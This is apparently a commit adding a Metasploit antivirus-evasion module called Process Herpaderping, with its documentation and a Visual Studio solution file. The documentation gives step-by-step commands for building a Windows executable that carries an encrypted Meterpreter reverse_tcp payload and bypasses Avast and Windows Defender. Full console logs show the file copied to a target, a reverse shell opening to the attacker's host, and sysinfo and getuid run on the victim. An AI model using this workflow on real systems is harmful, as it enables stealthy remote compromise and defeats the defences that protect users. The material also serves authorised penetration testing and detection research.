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Add Process Herpaderping evasion module and binaries
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documentation/modules/evasion/windows/process_herpaderping.md
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## Description | ||
This module allows you to generate a Windows executable that evades security | ||
products such as Windows Defender, Avast, etc. This uses the Process | ||
Herpaderping technique to bypass Antivirus detection. This method consists in | ||
obscuring the behavior of a running process by modifying the executable on disk | ||
after the image has been mapped in memory (more details | ||
[here](https://jxy-s.github.io/herpaderping/)). | ||
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First, the chosen payload is encrypted and embedded in a loader Portable | ||
Executable (PE) file. This file is then included in the final executable. Once | ||
this executable is launched on the target, the loader PE is dropped on disk and | ||
executed, following the Process Herpaderping technique. Note that the name of | ||
the file that is being dropped is randomly generated. However, it is possible | ||
to configure the destination path from Metasploit (see `WRITEABLE_DIR` option | ||
description). | ||
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Here is the main workflow: | ||
1. Retrieve the target name (where the PE loader will be dropped). | ||
1. Retrieve the PE loader from the binary and write it on disk. | ||
1. Create a [section object](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) | ||
and create a process from the mapped image. | ||
1. Modify the file content on disk by copying another (inoffensive) executable | ||
or by using random bytes (see `REPLACED_WITH_FILE` option description). | ||
1. Create the main Thread. | ||
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The source code is based on [Johnny Shaw](https://twitter.com/jxy__s)'s | ||
[PoC](https://github.com/jxy-s/herpaderping). | ||
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## Verification Steps | ||
Here are the steps using a Meterpreter payload on a 64-bits target: | ||
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1. Do: `use evasion/windows/process_herpaderping` | ||
1. Do: `set LHOST <local IP>` | ||
1. Do: `set target 0` | ||
1. Do: `set payload windows/x64/meterpreter/reverse_tcp` | ||
1. Do: `handler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port>` | ||
1. Do: `run` | ||
1. Copy the generated executable file to the target (using another exploit or SMB) | ||
1. Run it on the target | ||
1. Verify the Antivirus did not block its execution | ||
1. Verify you got a session | ||
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## Options | ||
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### ENCODER | ||
A specific encoder to use (automatically selected if not set). Note that the | ||
encoded payload will be automatically encrypted before being placed into the | ||
loader. | ||
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### FILENAME | ||
Filename for the generated evasive file file. The default is random. | ||
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### WRITEABLE_DIR | ||
Where to write the loader on disk. Windows environment variables can be used | ||
in the path and the default is set to `%TEMP%`. Note that this file will be | ||
removed automatically when the session is terminated or if an error occurs. | ||
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### REPLACED_WITH_FILE | ||
The file to replace the target with. If not set, the target file will be filled | ||
with random bytes (WARNING! it is likely to be catched by AV). Windows | ||
environment variables can be used in the path and the default is set to | ||
`%SystemRoot%\\System32\\calc.exe`. | ||
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## Scenarios | ||
### Windows 10 x64 version 1909 with Avast Antivirus (also tested with Windows Defender) | ||
``` | ||
msf6 > use evasion/windows/process_herpaderping | ||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp | ||
msf6 evasion(windows/process_herpaderping) > set LHOST 192.168.144.1 | ||
LHOST => 192.168.144.1 | ||
msf6 evasion(windows/process_herpaderping) > set target 0 | ||
target => 0 | ||
msf6 evasion(windows/process_herpaderping) > set payload windows/x64/meterpreter/reverse_tcp | ||
payload => windows/x64/meterpreter/reverse_tcp | ||
msf6 evasion(windows/process_herpaderping) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444 | ||
[*] Payload handler running as background job 0. | ||
[*] Started reverse TCP handler on 192.168.144.1:4444 | ||
msf6 evasion(windows/process_herpaderping) > run | ||
[+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe | ||
msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe | ||
[*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe | ||
msf6 evasion(windows/process_herpaderping) > | ||
[*] Sending stage (200262 bytes) to 192.168.144.128 | ||
[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.128:50205) at 2021-01-22 13:02:14 +0100 | ||
msf6 evasion(windows/process_herpaderping) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-UUQE0B4 | ||
OS : Windows 10 (10.0 Build 18363). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > getuid | ||
Server username: DESKTOP-UUQE0B4\n00tmeg | ||
meterpreter > [*] Shutting down Meterpreter... | ||
[*] 192.168.144.128 - Meterpreter session 1 closed. Reason: User exit | ||
``` | ||
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### Windows 7 x86 with Avast Antivirus | ||
``` | ||
msf6 evasion(windows/process_herpaderping) > set target 1 | ||
target => 1 | ||
msf6 evasion(windows/process_herpaderping) > set payload windows/meterpreter/reverse_tcp | ||
payload => windows/meterpreter/reverse_tcp | ||
msf6 evasion(windows/process_herpaderping) > options | ||
Module options (evasion/windows/process_herpaderping): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
ENCODER no A specific encoder to use (automatically selected if not set) | ||
FILENAME raU.exe yes Filename for the evasive file (default: random) | ||
REPLACED_WITH_FILE %SystemRoot%\System32\calc.exe no File to replace the target with. If not set, the target file will be filled with random bytes (WARNING! it is likely to be catched by AV). | ||
WRITEABLE_DIR %TEMP% yes Where to write the loader on disk | ||
Payload options (windows/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
LHOST 192.168.144.1 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Evasion target: | ||
Id Name | ||
-- ---- | ||
1 Microsoft Windows (x86) | ||
msf6 evasion(windows/process_herpaderping) > run | ||
[+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe | ||
msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe | ||
[*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe | ||
msf6 evasion(windows/process_herpaderping) > jobs -K | ||
Stopping all jobs... | ||
msf6 evasion(windows/process_herpaderping) > handler -p windows/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444 | ||
[*] Payload handler running as background job 1. | ||
[*] Started reverse TCP handler on 192.168.144.1:4444 | ||
msf6 evasion(windows/process_herpaderping) > [*] Sending stage (175174 bytes) to 192.168.144.133 | ||
[*] Meterpreter session 3 opened (192.168.144.1:4444 -> 192.168.144.133:51542) at 2021-01-22 13:09:43 +0100 | ||
msf6 evasion(windows/process_herpaderping) > sessions -i 3 | ||
[*] Starting interaction with 3... | ||
meterpreter > sysinfo | ||
Computer : WIN7-DEV | ||
OS : Windows 7 (6.1 Build 7601, Service Pack 1). | ||
Architecture : x86 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x86/windows | ||
meterpreter > getuid | ||
Server username: WIN7-DEV\n00tmeg | ||
meterpreter > [*] Shutting down Meterpreter... | ||
[*] 192.168.144.133 - Meterpreter session 3 closed. Reason: User exit | ||
``` |
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Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 16 | ||
VisualStudioVersion = 16.0.30717.126 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHerpaderping", "ProcessHerpaderping.vcxproj", "{094F7624-94B2-42D1-A9C0-A06C67A898DE}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|x64 = Debug|x64 | ||
Debug|x86 = Debug|x86 | ||
Release|x64 = Release|x64 | ||
Release|x86 = Release|x86 | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x64.ActiveCfg = Debug|x64 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x64.Build.0 = Debug|x64 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x86.ActiveCfg = Debug|Win32 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x86.Build.0 = Debug|Win32 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x64.ActiveCfg = Release|x64 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x64.Build.0 = Release|x64 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x86.ActiveCfg = Release|Win32 | ||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x86.Build.0 = Release|Win32 | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {097EA0CA-15F6-448D-8DBB-574CF3082331} | ||
EndGlobalSection | ||
EndGlobal |
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